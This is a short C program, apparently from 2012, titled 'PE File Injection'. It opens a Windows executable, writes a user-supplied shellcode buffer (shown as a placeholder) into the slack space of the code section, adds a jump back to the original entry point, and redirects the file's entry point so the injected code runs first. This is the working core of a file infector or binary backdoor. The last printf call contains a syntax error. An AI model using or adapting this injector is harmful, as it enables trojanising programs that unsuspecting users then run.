/* ============================================================
PE File Injection
(C) Raashid Bhat 2012
*/
#define WIN32_LEAN_AND_MEAN // skip unnecessay includes
#include<windows.h>
#include<winNT.h> // struct definitions for Portable executable file
#include<stdio.h>
#include<stdlib.h>
unsigned char buf[] = "\xde\xad\xbe\xef"; // Your Assmebly Code here
unsigned char uSeq[] = "\xB8\xFF\xBE\xAD\xDE\xFF\xE0"; // MOV EAX,0xdeadbeef; JMP EAX JMP back to Original Entry Point
void usage(char *pName)
{
printf("\n%s <exe_name>", pName);
return;
}
int main(int argc, char **argv)
{
short iSection = 0;
unsigned int iDelta = 0;
DWORD iPos = 0;
int a = 0;
unsigned char * pSectionData ;
FILE *fp = NULL;
PIMAGE_DOS_HEADER sDosHeader = (PIMAGE_DOS_HEADER) malloc(sizeof(IMAGE_DOS_HEADER)); // DOS Header defined in Winnt.h
PIMAGE_NT_HEADERS32 sPEHeader = (PIMAGE_NT_HEADERS32) malloc(sizeof(IMAGE_NT_HEADERS32));
PIMAGE_SECTION_HEADER sSection = NULL, tmp; // keep as null, later allocate on the based of iSections
if (argc != 2)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
fp = fopen(argv[1], "r+b");
if (!sDosHeader)
{
printf("%s","Cannot allocate memory");
exit(-1);
}
fread(sDosHeader, sizeof(IMAGE_DOS_HEADER), 1, fp);
if (sDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("%s", "Not a valid PE image");
exit(EXIT_FAILURE);
}
fseek(fp, sDosHeader->e_lfanew, SEEK_SET);
fread(sPEHeader, sizeof(IMAGE_NT_HEADERS32), 1, fp);
sSection = (PIMAGE_SECTION_HEADER) malloc(sizeof(IMAGE_SECTION_HEADER) * sPEHeader->FileHeader.NumberOfSections);
fread(sSection, sizeof(IMAGE_SECTION_HEADER) * sPEHeader->FileHeader.NumberOfSections, 1, fp);
printf("no of sections in PE %d\n", sPEHeader->FileHeader.NumberOfSections);
while(1)
{
if (sSection->VirtualAddress == sPEHeader->OptionalHeader.BaseOfCode) // look for the code section
{
break;
}
sSection += 1;
}
iDelta = sSection->SizeOfRawData;
pSectionData = (unsigned char*) malloc(sizeof(unsigned char) * iDelta );
fseek(fp, sSection->PointerToRawData + sSection->Misc.VirtualSize , SEEK_SET);
iPos = sSection->Misc.VirtualSize + sPEHeader->OptionalHeader.BaseOfCode;
if( iDelta - sSection->Misc.VirtualSize< sizeof(buf))
{
printf("%s", "Cannot Inject Code");
exit(EXIT_FAILURE);
}
fwrite(buf, sizeof(buf) - 1, 1, fp); // Write Bytes to Executable File
a = sPEHeader->OptionalHeader.AddressOfEntryPoint + sPEHeader->OptionalHeader.ImageBase;
memcpy(&uSeq[1] , &a, sizeof(DWORD));
fwrite( uSeq, sizeof(uSeq), 1, fp);
/* rewind back and change AddressOfEntrypoint to make Executable's EP to our injected code */
rewind(fp);
fseek(fp, sDosHeader->e_lfanew, SEEK_SET);
sPEHeader->OptionalHeader.AddressOfEntryPoint = iPos;
fwrite( sPEHeader, sizeof(IMAGE_NT_HEADERS32), 1, fp);
printf("%s %s" , "Code Injected in file " argv[1]);
free(sDosHeader);
free(sPEHeader);
free(sSection);
fclose(fp);
return 0;
}